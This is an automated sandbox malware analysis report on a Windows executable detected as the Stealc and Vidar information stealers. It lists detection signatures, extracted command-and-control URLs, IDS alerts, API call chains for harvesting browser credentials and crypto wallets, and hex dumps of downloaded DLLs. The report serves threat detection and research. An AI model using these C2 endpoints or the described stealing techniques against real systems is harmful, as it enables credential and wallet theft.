Edit tour

Windows Analysis Report
NJna3TEAEr.exe

Overview

General Information

Sample name:	NJna3TEAEr.exe renamed because original name is a hash value
Original sample name:	c57f035e099bfe7f8d56917a22266dc9.exe
Analysis ID:	1525241
MD5:	c57f035e099bfe7f8d56917a22266dc9
SHA1:	88a4ab3cef2b3d293b6d94b8d5b38298d1ec6d87
SHA256:	d075bbba29912ff7a321ee5dcb32159b9de8e27e716a1aad9ed52bb9d9ccc4a3
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

PE file has a writeable .text section

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

NJna3TEAEr.exe (PID: 1220 cmdline: "C:\Users\user\Desktop\NJna3TEAEr.exe" MD5: C57F035E099BFE7F8D56917A22266DC9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://193.233.112.44/383ccd496f3c5eee.php", "Botnet": "game"}

Threatname: Vidar

{"C2 url": "https://t.me/hwlflcqshvwp/383ccd496f3c5eee.php", "Botnet": "game"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
NJna3TEAEr.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
NJna3TEAEr.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000000.2009593199.00000000002E1000.00000080.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: NJna3TEAEr.exe PID: 1220	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: NJna3TEAEr.exe PID: 1220	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: NJna3TEAEr.exe PID: 1220	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NJna3TEAEr.exe PID: 1220	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.NJna3TEAEr.exe.2e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.NJna3TEAEr.exe.2e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T23:17:00.581827+0200	2044245	1	Malware Command and Control Activity Detected	193.233.112.44	80	192.168.2.5	49710	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T23:17:00.561769+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49710	193.233.112.44	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T23:17:00.934330+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49710	193.233.112.44	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T23:17:01.760607+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49710	193.233.112.44	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T23:17:00.942164+0200	2044247	1	Malware Command and Control Activity Detected	193.233.112.44	80	192.168.2.5	49710	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T23:17:00.186594+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49710	193.233.112.44	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T23:17:02.378460+0200	2803304	3	Unknown Traffic	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:06.714030+0200	2803304	3	Unknown Traffic	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:07.941100+0200	2803304	3	Unknown Traffic	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:08.976710+0200	2803304	3	Unknown Traffic	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:09.829722+0200	2803304	3	Unknown Traffic	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:11.915696+0200	2803304	3	Unknown Traffic	192.168.2.5	49710	193.233.112.44	80	TCP
2024-10-03T23:17:12.672556+0200	2803304	3	Unknown Traffic	192.168.2.5	49710	193.233.112.44	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: NJna3TEAEr.exe

Avira: detected

Found malware configuration

Source: NJna3TEAEr.exe	Malware Configuration Extractor: Vidar {"C2 url": "https://t.me/hwlflcqshvwp/383ccd496f3c5eee.php", "Botnet": "game"}
Source: 0.0.NJna3TEAEr.exe.2e0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://193.233.112.44/383ccd496f3c5eee.php", "Botnet": "game"}

Multi AV Scanner detection for submitted file

Source: NJna3TEAEr.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: NJna3TEAEr.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002F8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_002F8EA0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002E9B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_002E9B60
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002EC820 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	0_2_002EC820
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002E7240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_002E7240
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002E9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_002E9AC0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C5E6C80

Source: NJna3TEAEr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49708 version: TLS 1.2

Source: NJna3TEAEr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: NJna3TEAEr.exe, 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: NJna3TEAEr.exe, 00000000.00000002.2500406607.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: NJna3TEAEr.exe, 00000000.00000002.2500406607.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: NJna3TEAEr.exe, 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002EE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_002EE430
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002F38B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_002F38B0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002F4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002F4910
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002EBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_002EBE70
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002F3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_002F3EA0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002EF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002EF6B0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002EDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_002EDA80
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002E16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002E16D0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002EED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_002EED20
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002F4570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_002F4570
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_002EDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_002EDE10

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49710 -> 193.233.112.44:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49710 -> 193.233.112.44:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 193.233.112.44:80 -> 192.168.2.5:49710
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49710 -> 193.233.112.44:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 193.233.112.44:80 -> 192.168.2.5:49710
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49710 -> 193.233.112.44:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://193.233.112.44/383ccd496f3c5eee.php
Source: Malware configuration extractor	URLs: https://t.me/hwlflcqshvwp/383ccd496f3c5eee.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 03 Oct 2024 21:17:02 GMTContent-Type: application/x-msdos-programContent-Length: 1106998Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 03 Oct 2024 21:17:06 GMTContent-Type: application/x-msdos-programContent-Length: 685392Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 03 Oct 2024 21:17:07 GMTContent-Type: application/x-msdos-programContent-Length: 608080Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 